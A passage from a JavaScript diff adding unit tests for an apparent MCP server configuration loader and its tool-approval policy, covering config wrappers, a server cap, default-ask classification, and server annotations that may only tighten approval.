'expected no problems for ' + JSON.stringify(arg) + ', got ' + JSON.stringify(r.problems)); + } +}); + +test('CONFIG: a settings object may itself use the {mcpServers:…} wrapper', () => { + const { servers, problems } = M.loadServerConfig({ settings: { mcpServers: { wrapped: { command: 'x' } } } }); + assert.deepStrictEqual(servers.map((s) => s.name), ['wrapped']); + assert.deepStrictEqual(problems, []); +}); + +test('CONFIG: the server cap is enforced', () => { + const settings = {}; + for (let i = 0; i < M.MAX_SERVERS + 3; i++) { settings['s' + i] = { command: 'x' }; } + const { servers, problems } = M.loadServerConfig({ settings }); + assert.strictEqual(servers.length, M.MAX_SERVERS); + assert.ok(problems.some((p) => /cap/.test(p.message))); +}); + +// ---- 4. policy: default-ask, and annotations may only tighten -------------------------------- + +test('POLICY: an unknown MCP tool defaults to ASK (autopilot does not relax it)', () => { + assert.strictEqual(M.classifyMcpTool('github__delete_repo').approve, 'ask'); + assert.strictEqual(M.classifyMcpTool('github__delete_repo', {}).approve, 'ask'); +}); + +test('POLICY: only the user allow-list grants allow', () => { + assert.strictEqual(M.classifyMcpTool('gh__list', { 'gh__list': 'allow' }).approve, 'allow'); + assert.strictEqual(M.classifyMcpTool('gh__list', { 'gh__list': 'ask' }).approve, 'ask'); + assert.strictEqual(M.classifyMcpTool('gh__other', { '*': 'allow' }).approve, 'allow'); +}); + +test('POLICY: a server destructiveHint OVERRIDES an allow-list entry (tighten-only)', () => { + const r = M.classifyMcpTool('gh__nuke', { 'gh__nuke': 'allow' }, { destructiveHint: true }); + assert.strictEqual(r.approve, 'ask'); + assert.ok(/destructive/.test(r.reason)); +}); + +test('POLICY: a readOnlyHint grants nothing on its own (annotations are untrusted)', () => { + assert.strictEqual(M.classifyMcpTool('gh__read', {}, { readOnlyHint: true }).approve, 'ask'); +}); + +console.log('\nmcpConfig.js: ' + n + ' tests passed.');